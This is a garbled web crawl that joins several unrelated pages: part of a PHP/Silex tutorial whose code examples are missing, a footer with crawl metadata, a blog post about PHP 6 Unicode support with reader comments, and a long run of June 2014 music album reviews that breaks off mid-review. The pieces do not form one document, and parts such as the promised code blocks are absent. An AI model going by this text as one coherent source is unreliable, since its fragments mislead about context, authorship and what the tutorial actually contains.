My index file is getting a little bit crowded and top heavy. The pattern with Silex is to register services and providers ahead of time, so this will only get worse with time. Perhaps it would be a good idea to move all that declarative stuff to it’s own little place. I know I just said that static factories are not the best idea with respect to testing but I figured making a stating bootstrap function was the best way to encapsulate the initialization of my Silex app without polluting the code with dirty include statements. The bootstrap function will basically just set up Silex environment and return a fully initialized $app so that I can simply do $app = SITS\App::bootstrap(); at the top of my index.php file. This way my index file can contain play the role of the front controller doing all the routing logic without a lot of cruft on top.
The bootstrap will look like this:
Note the second to last line of this class. This is how you define custom “services”. I mentioned this above, and here is a live example. I created a little Helper class called Crypto to help me handle hashing and salting passwords for our users. I will talk about its implementation in the next installment because this is a big topic, but I just wanted to show you how things get plugged into the $app variable.
At some point later I will be able to call the functions within the Crypto helper by doing:
Before I wrap this up, here is my index.php for the sake of completeness.
My directory structure looks like this right now, just so you can see how things are spread out, and how I’m using the PSR-0 autoloading feature in Composer to it’s fullest extent:
Next time we will implement the Crypto helper, finish the login/logout logic and perhaps have a chance to do some other stuff as well.
Thanks for this post. Im barely starting out with Silex and this example was very helpful. Hopefully part 8 is coming sometime..?
I have created a minimal silex template which could be a starting point for pretty much any web-site out of the box!
I guess, the Part 8 is not coming, correct? | http://www.terminally-incoherent.com/blog/2013/01/18/php-like-a-pro-part-7-first-steps-with-silex/ | CC-MAIN-2017-43 | refinedweb | 1,598 | 70.13 |
Looking ahead to PHP 5.3 and 6
I attended the SF PHP Meetup last night where Andrei Zmievski (PHP 6 release manager and PHP core team member) gave a talk on PHP 6 and internationalization (i18n). It was good to hear that while PHP 6 has been in development for the past 2 years, it's very likely that we'll be seeing a release in early 2009, and definitely ahead of Perl 6, as Andrei joked.
The main feature of PHP 6 will be that it will be entirely Unicode supported. Or as one of his slides so aptly stated:
PHP 6 = PHP 5 + Unicode. My favorite example was a class that had the method names all defined using different languages, including an example in Hebrew (written right to left)! From a practical standpoint, many of the features are intelligent enough to be able to handle common cultural issues such as proper sorting and date/number formatting.
The even better news is that most of these features will also be available for the upcoming PHP 5.3 release via pecl. The intl module will be "backwards" compatible with PHP 5.3 since the classes expect UTF-8 encodings. How you provide those strings is up to the you.
One concern about PHP 6 is that since it will be entirely Unicode, strings will automatically double in size, meaning there will certainly be a performance hit. So for now, I look forward to i18n with PHP 5.3 as well as the much needed namespaces.
Andrei's presentation is available on his site here.
Whether strings will grow with Unicode support really depends on the implementation.
Uf PHP6 will use UTF-8, then no, all strings will have exactly the same length as they have now. UTF-8 is directly backwards-compatible with US-ASCII, so is generally preferred as the industry standard encoding for Unicode.
UTF-8 characters can consist of any number of bytes (from 1 to 5, I believe is the current maximum supported by major implementations), so unless you type lots of Hebrew or Japanese Kana or Ancient Phoenician, your strings will remain the same size as always. :)
- Simon
Posted by Simon on July 13, 2008 at 07:19 AM PDT #
But will it support astral characters?
Unicode has 17 "planes", each with 65,536 characters. Most software that claims to support Unicode, even using terms like "full Unicode support", only supports characters from plane 0, the Basic Multilingual Plane. The "astral" characters are those from planes 1 through 16.
And how well is PHP going to hide its implementation details? Will trying to get the length of a string tell you how many characters are in the string, or will it do like most languages and instead tell you how many 8-bit (UTF-8) or 16-bit (UTF-16) units are used to encode those characters?
It's great that PHP is increasing it support for Unicode, but most likely there will still be a very very long way to go after PHP 6.
Posted by James Justin Harrell on July 13, 2008 at 09:43 AM PDT #
Good performance, bytes, codepoints, graphemes and characters ... IMHO Parrot and Perl 6 are designed with real Unicode support.
Posted by mj on July 13, 2008 at 10:29 AM PDT #
James,
PHP 6 supports all the planes, fully and transparently. strlen() and all similar functions operate on codepoints (not codeunits or bytes), so you will get the correct result back.
Simon,
PHP 6 uses UTF-16 internally.
Posted by Andrei Z on July 17, 2008 at 09:48 AM PDT #
Um, I think this page has been hacked - it tried to phish for my Twitter credentials.
Posted by Eric on January 08, 2009 at 02:39 PM PST #
I have a question.
How do you get the size of the string in PHP 6 if strlen() returns the count of characters?
Let's say: $data = file_get_contents('...any file...');
echo strlen($data); // will it return the siz eof the file any longer?
I know I could use filesize(), but there are many cases when you don't deal with files, but binary data. Are there any problems with that in case of strlen()?
Thanks!
Posted by Kai on June 11, 2009 at 08:45 AM PDT # | http://blogs.sun.com/wen/entry/looking_ahead_to_php_5 | crawl-002 | refinedweb | 720 | 70.94 |
First part of my problem:
two bodies fall down from different position, and will stop on different coordinates, whan is wrong? Please help me...
Second part of my problem: I will try to reproduce this bug on C, with hello_chipmunk:
this is code:
- Code: Select all
#include <stdio.h>
#include <stdlib.h>
#include <chipmunk.h>
#include <stdio.h>
#include <chipmunk.h>
int main(void){
// cpVect is a 2D vector and cpv() is a shortcut for initializing them.
cpVect gravity = cpv(0, -9.8);
// Create an empty space.
cpSpace *space = cpSpaceNew();
cpSpaceSetGravity(space, gravity);
// Add a static line segment shape for the ground.
// We'll make it slightly tilted so the ball will roll off.
// We attach it to space->staticBody to tell Chipmunk it shouldn't be movable.
cpShape *ground = cpSegmentShapeNew(space->staticBody, cpv(-50, 2), cpv(50, 2), 0);
cpShapeSetFriction(ground, 1);
cpSpaceAddShape(space, ground);
// Now let's make a ball that falls onto the line and rolls off.
// First we need to make a cpBody to hold the physical properties of the object.
// These include the mass, position, velocity, angle, etc. of the object.
// Then we attach collision shapes to the cpBody to give it a size and shape.
cpFloat radius = 0.1;
cpFloat mass = 1;
// The moment of inertia is like mass for rotation
// Use the cpMomentFor*() functions to help you approximate it.
cpFloat moment = cpMomentForCircle(mass, 0, radius, cpvzero);
// The cpSpaceAdd*() functions return the thing that you are adding.
// It's convenient to create and add an object in one line.
cpBody *ballBody = cpSpaceAddBody(space, cpBodyNew(mass, moment));
cpBodySetPos(ballBody, cpv(0, 3+0.22));
cpBody *ballBody2 = cpSpaceAddBody(space, cpBodyNew(mass, moment));
cpBodySetPos(ballBody2, cpv(0.2, 3+0.44));
// Now we create the collision shape for the ball.
// You can create multiple collision shapes that point to the same body.
// They will all be attached to the body and move around to follow it.
cpShape *ballShape = cpSpaceAddShape(space, cpCircleShapeNew(ballBody, radius, cpvzero));
cpShapeSetFriction(ballShape, 0.7);
cpShape *ballShape2 = cpSpaceAddShape(space, cpCircleShapeNew(ballBody2, radius, cpvzero));
cpShapeSetFriction(ballShape2, 0.7);
// Now that it's all set up, we simulate all the objects in the space by
// stepping forward through time in small increments called steps.
// It is *highly* recommended to use a fixed size time step.
cpFloat timeStep = 1.0/60.0;
for(cpFloat time = 0; time < 2; time += timeStep){
cpVect pos = cpBodyGetPos(ballBody);
cpVect vel = cpBodyGetVel(ballBody);
printf(
"1ballBody is at (%5.2f, %5.2f). It's velocity is (%5.2f, %5.2f)\n",
pos.x, pos.y, vel.x, vel.y
);
cpVect pos2 = cpBodyGetPos(ballBody2);
cpVect vel2 = cpBodyGetVel(ballBody2);
printf(
"2ballBody is at (%5.2f, %5.2f). It's velocity is (%5.2f, %5.2f)\n",
pos2.x, pos2.y, vel2.x, vel2.y
);
cpSpaceStep(space, timeStep);
}
// Clean up our objects and exit!
cpShapeFree(ballShape);
cpBodyFree(ballBody);
cpShapeFree(ground);
cpSpaceFree(space);
return 0;
}
on image same problem, what I make wrong?
| http://chipmunk-physics.net/forum/viewtopic.php?f=3&t=3360&p=13377&sid=c52380091f40ce6a0e66e8b9305b66c4 | CC-MAIN-2018-43 | refinedweb | 486 | 60.51 |
In this tutorial, we’ll explore how Pusher Channels can be used in conjunction with Zapier to display updates to a user’s Twitter feed on a webpage. If you want to play around with the code as you read this tutorial, visit this GitHub repository which contains the final version of the code for you to check out and run locally.
Prior experience with building React and Node.js applications is required to complete this tutorial, but you don’t need to know how to use Pusher Channels. You also need to have Node.js (version 6 and later) as well as npm (version 5 or later) installed on your machine. You can use the commands
node -v and
npm -v to see which versions of Node and npm you have installed.
Create a new folder for this project in your filesystem. You can call it
tweet-stream or any other name that you prefer. Open a new terminal window and
cd into the new directory you just created, then run
npm init -y to initialize the project with a
package.json file.
Next, run the following command to install all the dependencies we’ll be needing to build the server component of the application:
npm install express body-parser cors dotenv pusher -S
Once the installation completes, create the following files in the root of your project directory:
server.js and
variables.env.
Before we can utilize the features of Pusher Channels in our application, we need to sign up for a free Pusher account. Once your account is created, select Channels apps on the sidebar, and hit Create Channels app to create a new app. Retrieve your credentials from the API Keys tab, and then add the following to the
variable.env file you just created.
// variables.env PORT=5000 PUSHER_APP_ID=<your app id> PUSHER_APP_KEY=<your app key> PUSHER_APP_SECRET=<your app secret> PUSHER_APP_CLUSTER=<your app cluster>
Open up
server.js in your text editor and paste in the following:
// server.js require('dotenv').config({ path: 'variables.env' }); const express = require('express'); const cors = require('cors'); const Pusher = require('pusher'); const bodyParser = require('body-parser'); // Create an express app: process.env.PUSHER_APP_CLUSTER, encrypted: true, }); app.post('/', (req, res) => { console.log(req.body); }); app.set('port', process.env.PORT || 5000); const server = app.listen(app.get('port'), () => { console.log(`Express running → PORT ${server.address().port}`); });
As you can see, we’ve set up just the one route where new tweets will be posted to. For now we’re just logging the request body to the console, but we’ll revisit this section in the later parts of the tutorial.
You can start the server by running
node server.js in the terminal. It should now be running on port 5000.
To make your local server is accessible to the outside world, you can use a service like ngrok..
Zapier is a service that allows you to integrate between several applications. To use Zapier, you need to sign up for an account. Once your account is created, go here and click the Make a Zap! button to create your first Zap.
Under Choose a Trigger App, select Twitter and choose User Tweet under Twitter Trigger.
Hit the Continue button to move on to the next step. Connect a Twitter account that will be used for this Zap. You can use your existing Twitter account, or create a new one if you prefer. Once you have connected account, select it and hit Save + Continue.
On the screen that says Pick A Sample To Set Up Your Zap, before you click Pull in Samples, make sure there is a recent enough tweet on the account you set up. Otherwise, send a tweet out before clicking the button.
You should see the following screen once a sample tweet has been pulled from your Twitter account. Just hit the Continue button.
You need to setup an action step. Click the link highlighted in the screenshot below to add an action app.
Under Choose an Action app select Webhooks by Zapier Action, then select POST under the CREATE heading and click the Continue button.
You will be asked to provided a URL under Set up Webhooks by Zapier POST. Copy the URL received from ngrok into the input field. Under advanced options, set the Payload type to Json then hit the Continue button.
On the next page, hit Send Test to Webhook by Zapier. This will send a post request to your local server along with the payload of the sample tweet pulled in earlier in the request body. Check the terminal window where the server is running. You should see some JSON output in the terminal.
Finally, hit Skip test on the left hand side and Finish on the right. You will be redirected to a page confirming the successful setup of your first Zap.
The 15 minute interval is a limitation of Zapier’s free and entry level plans. With a paid plan, you can take it to as low as 5 minutes.
Let’s work on the app frontend a bit. We need to install the
create-react-app package globally so that we can use it to bootstrap a new React app. Use the following command below to install
create-react-app:
npm install create-react-app -g
cd in to your project directory and run
create-react-app client to create a new React app in a new directory called
client. Once the installation process completes,
cd into the newly created
client directory and run
yarn start to start the development server. The application will be available for you to view it at.
Launch another terminal window, and
cd into the
client directory. Then run the following command to install the other dependencies we’ll be using to build the React app.
npm install react-timeago pusher-js -S
Next, open up
client/src/App.js in your favorite text editor and change its contents to look like this:
// client/src/App.js import React, { Component } from 'react'; import Pusher from 'pusher-js'; import TimeAgo from 'react-timeago'; import './App.css'; class App extends Component { state = { tweets: [], }; componentDidMount() { const pusher = new Pusher('<your app key>', { cluster: '<your app cluster>', encrypted: true, }); const channel = pusher.subscribe('tweets'); channel.bind('new-tweet', data => { const { tweets } = this.state; tweets.push(data.payload); this.setState({ tweets, }); }); } render() { const { tweets: tweetArr } = this.state; const Tweet = (tweet, index) => ( <div className="tweet" key={index}> <p className="user"> <span className="screen-name">{tweet.user__name}</span> <span className="username">{tweet.user__screen_name}</span> </p> <p className="tweet-text">{tweet.text}</p> <div className="meta"> <div> <span className="retweets">Retweets: {tweet.retweet_count}</span> <span className="likes">Likes: {tweet.favorite_count}</span> </div> <a href={tweet.url}> <TimeAgo date={tweet.created_at} /> </a> </div> </div> ); const tweets = tweetArr.map((tweet, index) => Tweet(tweet, index)); return ( <div className="App"> <header className="App-header"> <h1>Tweets</h1> </header> <main className="tweets">{tweets}</main> </div> ); } } export default App;
The
componentDidMount() lifecycle method houses the logic for displaying new tweets on the page. We’re opening a connection to Channels using the
subscribe() method which allows us to subscribe to a new channel called
tweets. Then, we listen for the
new-tweet event on the
tweets channel using the
bind method and update the application state once we receive a tweet update.
Don’t forget to retrieve your Channels credentials from the API Keys tab in the dashboard, and then replace the
<your app key> and
<your app cluster> placeholders in
App.js with the appropriate values.
Let's add the styles for the app’s frontend. Open up
client/src/App.css in your editor and replace its contents with the following styles:
// client/src/App.css body { font-family: Helvetica, "Helvetica Nueue", sans-serif; } .App { text-align: center; } .tweets { width: 100%; max-width: 700px; margin: 30px auto; } .tweet { margin-bottom: 20px; border: 1px solid #ccc; padding: 15px; text-align: left; } .screen-name { font-weight: bold; display: inline-block; margin-right: 10px; } .username::before { content: '@'; } .retweets { display: inline-block; margin-right: 10px; } .meta { display: flex; justify-content: space-between; }
Inside the
server.js file, change the root route to look like this:
// server.js app.post('/', (req, res) => { pusher.trigger('tweets', 'new-tweet', { payload: req.body, }); });
Zapier will hit this route for each new tweet that is posted to the Twitter account you connected, and include the tweet payload in the request body. We can then trigger a new update on the
tweets channel with the tweet payload included.
Kill the server using
Ctrl-C and run
node server.js again from the root of your project directory. Then send a few tweets using your Twitter account. After about 15 minutes, you should see the new tweets on the page.
You can also trigger the update manually by going to the Zapier dashboard, find the Zap you created and hit the Run button as shown the screenshot above.
I have explained how to set up Zapier to get fetch user tweets every 15 minutes and how to display new updates on a webpage with Pusher Channels. If you want to dig into other things you can do with Channels, make sure to check out its exhaustive documentation. To grab the complete code used in this tutorial, please visit this GitHub repository.
Pusher Limited is a company registered in England and Wales (No. 07489873) whose registered office is at 160 Old Street, London, EC1V 9BW. | https://www.pusher.com/tutorials/react-zapier-tweet-stream | CC-MAIN-2019-18 | refinedweb | 1,577 | 66.64 |
I've tried sending this about 5 times, and each time it seems to have
gone to /dev/null/.
Most operating systems (Linux, Solaris, AIX, Tru64, HP-UX, IRIX being
examples) support the sysconf() function to get all sorts of
information.
SYNOPSIS
#include <unistd.h>
long sysconf(int name);
Most OS's (IRIX, Tru64, HP-UX being exceptions) support a method
where one
might expect to be able to determine the amount of RAM in the system
with sysconf(), but whilst it works *exactly* on some systems, it is
only *approximate* on others.
The size of memory pages (in bytes) can be found -
sysconf(_SC_PAGE_SIZE);
and the number of memory pages too - sysconf(_SC_PHYS_PAGES);
Multiplying the two together (taking care not to overflow), gives the
number of bytes of RAM the computer has - on some systems anyway.
Dividing by the number of bytes in a Mb (1048576), gives the RAM in Mb
- or so I thought. Is this not right ?????
This works exactly on Solaris 9 and exactly under AIX 5.2 too. But
under Linux it says 2017 on a system with 2 Gb, and 3886 Mb on a
system with 4 Gb.
Does anyone know if these calls are supposed to work in the way I
think ? Are they defined by POSIX, and if so how ? It seems odd that
Solaris, Linux and AIX all support them, but Tru64, IRIX and HPUX
don't. HP-UX 11 has _SC_PAGE_SIZE, but not _SC_PHYS_PAGES.
The linux man page (for my Redhat system - 6.2 I think) says:
_SC_PAGESIZE _SC_PAGE_SIZE
The size of a page (in bytes).
_SC_PHYS_PAGES
The number of pages of physical memory. (Note that it is
possible for the product of this value and the value of _SC_PAGE_SIZE
to overflow.)
So the Linux man page is suggesting one might multiply
sysconf(_SC_PAGE_SIZE)*sysconf(_SC_PHYS_PAGES), so the man page
clearly thinks there is some use to doing this.
Any thoughts ????
--
Dr. David Kirkby,
Senior Research Fellow,
Department of Medical Physics,
University College London,
11-20 Capper St, London, WC1E 6JA.
Website:
Author of 'atlc' | http://www.verycomputer.com/168_351410c3f991c9e1_1.htm | CC-MAIN-2019-30 | refinedweb | 345 | 71.75 |
June 2014 Comics, Poetry, and Reviews from
aka
Stream "In The Wild"*Top Picks =
Additional Items Received
Downloads & Streams:
The Capsules * Ivory Hours * 1,2,3 * Spoonboy *
* * * * * * * * * * * *
The
Albrights - The Albrights (Independently
released CD, Pop)
The Albrights is a four man band based in Buffalo, New York. The group features singer/songwriter/vocalists Brandon Berry and Joe Donohue and the rhythm section of Matthew Crane and Dustin Herzberger. This self-titled disc is the band's sophomore release and it's chock full of upbeat melodic guitar pop. These guys have a bright full sound that could easily appeal to a wide range of listeners. To try and describe the sound... These songs sound something like Sparks if they were playing twenty-first century Americana pop. That may sound kinda strange, but even stranger is the fact that these songs actually sound very normal overall. The emphasis here is on lyrics, vocal melodies, and arrangements. Recorded at GCR Studio in Buffalo, this album was obviously a labor of love. Listeners will love the soaring melodies and slick vocal harmonies. Thirteen well-crafted cuts here and they all have something substantial to offer. Intriguing tracks include "Gotta Be Your Own Friend," "Pretty Flower," "I Played Along," and "Goodbye Adeline."
Matteah
Baim - Falling Theater (Independently
produced CD-R, Kobalt Music,
Pop)
Matteah Baim is a very curious lady. We were first introduced to her world of music through her "soft metal" band Metallic Falcons back in 1996. After that band was no more Baim continued writing and recording as a solo artist. Falling Theater is her third full-length release...and it is a compelling and magical experience. So many artists ape the sounds and styles of others. Ms. Baim seems driven by her own pure instincts and artistic instincts, and the results are almost always hypnotic. Some of the tracks on this album remind us in some ways of the 1970s British band Curved Air...but the overall vibe is much more current than such a comparison might imply. The album features some interesting guest artists including members of the Johnsons, Au Revoir Simone, MGMT, The New York Philharmonic, and The Boys and Girls Choir of Harlem. It's difficult placing Matteah on a map because her music doesn't sound like other current artists. Whatever it does or does not sound like, this is one helluva satisfying collection of intelligent tunes with staying power. We received an independently produced CD-R so we're not sure in what other forms this may or may not be available (?). Highly recommended. Top pick.
Base 4
- Axes of Symmetry (CD, Analog Arts, Jazz)
Southern California's Base 4 is the trio comprised of Bruce Friedman (trumpet), Derek Bomback (guitar), and Alan Cook (drums and percussion). These three musicians have been playing around for many years now and also play in the bands Surrealestate and Decisive Instant. Axes of Symmetry is a smooth and instantly compelling collection of twelve intriguing instrumentals. Some of the pieces are more reserved and melodic while other tracks have a sound that is more spontaneous and unpredictable. This release is one that will reach music fans by word-of-mouth and internet connections because you're not likely to find it on store shelves anytime soon. Friedman, Bomback, and Cook effortlessly feed off one another here, playing with a steady confidence that is subtle and compelling. Our favorite cuts include "Lawns," "Improvisation 2," "Straight No Chaser," and "My Funny Valentine."
The
Bastards of Fate - Vampires Are Real And
Palpable (Vinyl LP, This
Will Be Our Summer, Progressive pop)."
Beat
Funktion - Voodooland (CD, Do Music, Funk/pop)
Now here's something we haven't seen or heard before...a Swedish funk band (?!). Yup, you read that right. The six guys in Sweden's Beat Funktion play funk music...and the good news is that they're damn good at it. The band is comprised of Karl Olandersson (trumpet), Olle Thunstrom (tenor sax), Johan Oijen (electric guitar), Daniel Lantz (keyboards), Pal Johnson (electric bass), and Jon Eriksson (drums). Interestingly, the music for this album was written exclusively for the Japanese market...but we can't help but think that folks in the United States will be equally interested. Housed in a really cool quadruple fold-out digipak sleeve, Voodooland gets in a groove and stays there from start to finish. Cool danceable cuts include "Nights Out With Billy," "Sunkissed," "The Rain Dancer," and "Mangroove."
Captain Beefheart & The
Magic Band - Live From Harpos 1980 (CD,
Gonzo Multimedia,
Pop)
There are few artists as controversial as Don Van Vliet. Praised to the hilt by some while constantly criticized and belittled by others, Vliet's musical output under the name Captain Beefheart is still being discussed and scrutinized as years go by. If you're wanting to discover the band, the best starting point would probably be Clear Spot or Lick My Decals Off, Baby...while Trout Mask Replica continues to be the most talked about album. Don passed away a few years ago and ever since there has been a continual flow of unreleased and unearthed recordings of him and his band. Live From Harpos 1980 is probably meant for the diehard fan, as the sound quality is average. Folks unfamiliar with the music will probably get lost here, but true fans will find a great deal here to appreciate. We're of the opinion that Van Vliet is one of the greatest creative minds ever to hit the world of recorded music, so there's a lot of stuff here we find intriguing and somewhat mindbending. Sure wish we coulda been a fly on the wall during this concert (!)...cuz it sounds like the Captain and his crew were having one helluva time playing for a very appreciate crowd in 1980 in Detroit, Michigan. The band played a whole slew of stompin' crazy cuts including "Nowadays A Woman's Gotta Hit A Man," "Dr. Dark," "Bat Chain Puller," "My Human Gets Me Blues," and "Big Eyed Beans From Venus." Folks either love this stuff or they hate it. So the sound quality's not the greatest...who cares? This is historical stuff...! Recommended only for serious Beefheart fans. Top pick.
Belle - Original Motion Picture Soundtrack: Music Composed by Rachel
Portman (CD, Varese
Sarabande, Motion picture soundtrack)
This film should be an instant hit because it deals with a topic that always seems to be of interest to people...the subject of race. More specifically, Belle is inspired by the real life story of a young lady named Dido Elizabeth Belle. Being the illegitimate mixed race daughter of an admiral had its pluses and its minuses...and this film examines those issues. The score for the movie was composed by Rachel Portman who also composed music for the films The Cider House Rules, Chocolat, and Emma. The world of film scores seems to be mainly dominated by men, so it's refreshing that a woman has also reached the higher ranks in this field. This twenty-three track album clocks in at just over forty-one minutes, so the tracks are mainly short pieces that only last about a couple of minutes each. This album will appeal to fans of the film as well as classical music buffs with a short attention span. As usual, if its on the Varese Sarabande label...you know it's good. Our favorite tracks include "Laughter Montage," "A Father's Goodbye," "Maps," and "You Would Be My Wife."
Ben Bennett & Jack Wright - Tangle (CD, Public
Eyesore, Experimental)
This is an experimental album...so be forewarned.. Three curious tracks here: "Embroiled," "Bogus Ferret," and "You Itchy." Strangely jagged and accidental underground excursions.
The
Big Lonesome - Undone (Independently
released CD EP, Americana/pop)
We hear lots and lots and lots and lots and lots of Americana artists these days. There are so many Americana bands that they have literally cluttered the market, making it difficult to tell one from the other. We like the style of music to be certain. But we have to admit that because there are so many bands playing this style of music that it sometimes gets kinda samey and confusing. That is perhaps why the guys in The Big Lonesome are somewhat of a surprise. On the surface, you might think you're just getting more Americana pop. But when you pay closer attention you realize there are other layers happening in the band's music that make it much more depthy and appealing. These five songs would already be kinda gripping and memorable, but they're made even more so due to some of the sounds and surprises threaded into the mix. Our favorites here include "SOS" and "Undone."
Bunny
Beck Jazz Ensemble - From the Spirit
(CD, Big Round, Jazz)
Bunny Beck loves making music. You can tell from her words and especially from her songs. Beck began her musical career as a classical pianist before discovering that she preferred playing jazz. From the Spirit is her second full-length release on the Big Round label, and it's a winner. Featuring seven original compositions and a cover of Hank Williams' "Your Cheatin' Heart," the album is a pure delight from start to finish. These songs have a strangely familiar overall sound and feel. If you love classic jazz artists from the 1940s and 1950s, you will find a lot to love here. Joining Beck on this album are Matt Blostein on alto and tenor saxophone, Tom Hubbard on acoustic bass, Ed MacEachen on guitar, and Vinnie Sperrazza on drums. These musicians play with a fluid confidence that is warm and appealing. Our favorite cuts include "Our Fantasies," "Dark Feelings," and "Punch Out." For more information on Beck and her music visit her web site (link above). Top pick.
C IS FOR M
K is for B.
R is for Y.
W is for D.
C is for M.
Owen
Campbell - Pilgrim (CD, Reckless Grace Music, Blues/rock)
We don't hear many blues/rock artists from Australia so Owen Campbell immediately caught our attention. This up-and-coming singer/songwriter/guitarist managed to come in second place on the Australia's Got Talent television show a couple of years ago. Ever since, Campbell's music has been very much in demand in his native country. With the release of Pilgrim he's planning on transferring some of that success to the United States and beyond. This album will surely help to make that happen, as Pilgrim is a nice solid slice of modern blues rock with a heavy emphasis on some truly spectacular guitar playing. Campbell and his band are touring the U.S. this year in support of the album. To our ears, some of these tracks sound very much like ZZ Top...the grooves and overall vibe are very similar. In addition to being one helluva guitarist, Owen also has a great gravelly voice that comes across sounding sincere and real. Eleven kickass cuts here including "Wreckin' Ball," "You Know I'm Gone," and "A Better Place."
Edie
Carey & Sarah
Sample - 'Til The Morning: Lullabies and
Songs of Comfort (CD, Groundloop,
Soft pop/lullabies)
Two young mothers combine their skills and talents to create an album of lullabies to comfort the children of the world. Chicago's Edie Carey and Salt Lake City, Utah's Sarah Sample are both young mothers who use music to comfort their children. After having her second child, Sample realized that most of the music she was making consisted of singing to her children at home. Thus the idea for 'Til The Morning was born. The album consists of both originals and cover tunes, with the one constant being soft soothing sounds that will appeal to the very young. But it's surprising how much appeal these songs will have for adults as well...so Carey and Sample just might find that these recordings will appeal to just about everyone who loves soft dreamy pop. Housed in a well-designed triple fold digipak sleeve, this album succeeds on a variety of different levels. Our favorite cuts include "Lullaby," "North Star," and "These Things."
Deena - Rock River (CD, Life Force, Pop)
The Cucumbers were a popular band on the college radio circuit in the 1980s.. Based in Hoboken, New Jersey, the band was the husband and wife duo of Jon Fried and Deena Shoshkes. Since the 1980s the two have continued making music under a variety of different names including RockDownBaby, Over The Moon, and SingSOS. Rock River is Deena's second full-length solo album and it's a cool refreshing collection of mid-tempo pop tunes. A whole slew of artists lend their talents to the proceedings here including Rob Friedman, Jon Fried, Ed Iglewski, David Anthony, Steve Villano, Rebecca Turner, Elena Skye, Chris Dickson, Jonathan Gregg, Bob Kenselaar, William Newrock, and Phil Rinaldi (whew!). Deena's voice is sounding mighty great these days. She's got a warm inviting voice that most listeners should be able to relate to. Every song here is a keeper. Twelve groovy cuts including "My Own Advice," "Find the Love," "My Friend Superman," and "When I Fall."
Dirty
Lungs - Dirty Lungs (CD, Communicating Vessels, Rock)
Birmingham, Alabama continues to be one of the most fertile places for great underground music in the Southeastern United States. The Dirty Lungs are one of the more noisy and loud Birmingham bands we've heard...and that immediately earns them bonus points here in babysueland. The band is comprised of Carson Mitchell (guitar, vocals), Ra-jaan Parmely (drums), Chris Scott (guitar, vocals), and Justin Ward (bass, vocals). This band's music reminds of the way underground music used to sound in the United States...when guitars, drums, and basses were the main instruments used rather than computers. This self-titled album features plenty of great driving rhythms, fuzzy guitars, cool distanced vocals...and an overall vibe that teeters between hard rock and psychedelia. These folks are doing everything right...and apparently they're quickly developing a following. Some of these tracks are all out rockers while others are more moody and subdued...but they all sound cool. Our favorite cuts include "I Suck In Bed," "Woman," "It's All Melted," and "Space, Man."
Mia
Dyson - Idyllwild (CD, Black Door,
Pop)
Australia's Mia Dyson impressed lots of folks with her last album entitled The Moment which was released in 2013. Idyllwild just might be the album that kicks her career up into the next plateau. This disc has a great deal of commercial appeal and yet...the songs are a far cry from the phony overproduced sound characteristic of most successful modern pop artists. Dyson's songs bridge the gap between pop and rock. They feature strong hooks and melodies but are driven by strong masculine rhythms. Of course, the voice is what most folks will notice first about this magnetic young lady. Mia has a voice that is simultaneously loose and focused. Instead of trying to sing or sound totally perfect, she allows herself to sound like a real person singing...and that just might be the most magical aspect of her music. Idyllwild features eleven well-crafted cuts, and each one has something special to offer. Music fans will no doubt go ape over cool tracks like "Idyllwild," "Growing Up," "When We're Older," "She Can't Take The World," and "Crazy Horse." Totally cool stuff with heart and soul.
The
Electric Mess - House On Fire (CD, Sound
Flat, Rock/pop)
More cool loud rockin' stuff from the hip folks in The Electric Mess. The band is comprised of Craig Rogers (drums), Derek Davidson (bass, vocals), Esther Crow (vocals, percussion), Dan Crow (lead guitar), and Oweinama Blu (keyboards, rhythm guitar). Many folks may describe this band's sound as garage rock but it's actually much more than such a descriptive term might imply. These folks combine rock, power pop, and elements from early punk to create a loud and aggressive whirlwind of intense energy. These are the kind of songs that could easily appeal to folks in their teens, twenties, thirties, forties, and beyond. Every person in the band plays a pivotal role in creating the overall sound. The rhythms are tight and propulsive, the guitars in constant overdrive, and Ms. Crow's vocals must be heard to be believed. Can't say enough about how groovy The Electric Mess is...we're TOTALLY diggin' House On Fire. Killer cuts include "Better To Be Lucky Than Good," "She's Got Fangs," "Lemonade Man," and "Every Girl Deserves A Song." Highly recommended. Top pick.
Eureka
California - Crunch (Vinyl LP, Happy Happy Birthday To Me, Pop/rock) band. The songs are decidedly out of synch with what is currently popular in the world of music. Instead of smooth technology-produced perfection, Ward and Uhler create noisy and aggressive rocky chunks full of attitude and bite. The style of music these folks are playing was once popular in underground circles in the mid- to late-1980s when the home recording explosion was just beginning. You can tell from the song titles that there's a different sense of humor happening here: "Edith (One Day You'll Live In A Bunker)," "No Mas," "I Bet That You Like Julian Cope," "Art Is Hard," "How Long Til The Medicine Takes?" Ha ha ha ha ha...funny stuff. But the songs themselves aren't jokes at all. These cuts feature cool catchy melodies, nifty guitar riffs, and rhythms that are simple and direct. We love the direct approach this band is taking. We'd be willing to bet they're a gas live. Way cool and full of major spunk. Top pick.
Go
Robot, Go! - Good Vibes in Fashion Swimwear
(Independently released CD, Pop/rock)
Wow. What a way cool GROOVY album. We're longtime fans of ultra catchy buzzsaw power pop. If you dig that kinda thing there's a good chance the guys in Go Robot, Go! will blow you AWAY. Good Vibes in Fashion Swimwear reminds us of stuff we were hearing in the mid 1990s when there were tons of bands playing this style of music. Sadly in the twenty-first century modern buzzsaw power pop bands seem to be in short supply. But if you're needing a good solid dose of some of the best pop in 2014, this album will hit the spot. The band is comprised of NealBot, DCv.79, JL Mod 12, Drummer Unit JS 2112, producer Jon Miller, art director Bryan Huber, technician and bus driver Jim Scott, and manager Shobot "The Robot" (they are thoughtful enough to include others who contribute to the workings of the band as members as well...neat!). We love everything about this band...the music...the band name...the lyrics...the web site...the overall sound and image... These folks are simply doing everything right. To give you some idea of what they sound like... Go Robot, Go! sounds a bit like a cross between Fountains of Wayne and The Flaming Lips. This will surely end up being one of our most played albums this spring. Killer tracks include "My Brain Is In Space," "Peas In A Pod," "The Foxy Girls," "Hey, Fred!", and "Good Vibes In Fashion Swimwear (When We're Gone)." Top pick.
The
Grand Undoing - White Space Flavors and
Parties On TV (Independently released CD, Pop)
Based upon the title of this album we had an idea that this wasn't going to be standard fare. The Grand Undoing is the project created by Seth Goodman. White Space Flavors and Parties On TV is his second full-length release and it's an interesting voyage into modern underground pop. While the album title might sound like nonsense, it is actually drawn from reality. "White space flavors" is a phrase used to describe manufactured flavors that don't exist in nature while "parties on TV" is an expression of how the artificiality of our culture distances us from ourselves making the modern human experience vacuous (these lines were drawn directly from the press release). We were already hearing a few similarities to David Bowie before we read it in the press release. But make no mistake, Goodman is not a Bowie copycat artist...this is just a general reference point. These ten songs are smart and well thought out and they sound very different from 99% of what we receive in the mail these days. There's a strong emphasis on melodies and lyrics. The songs are delivered, for the most part, in a very direct style. We're totally digging this one after the first five spins. This is one of those albums that definitely grows on you the more you spin it. Our initial favorite cuts include "New World," 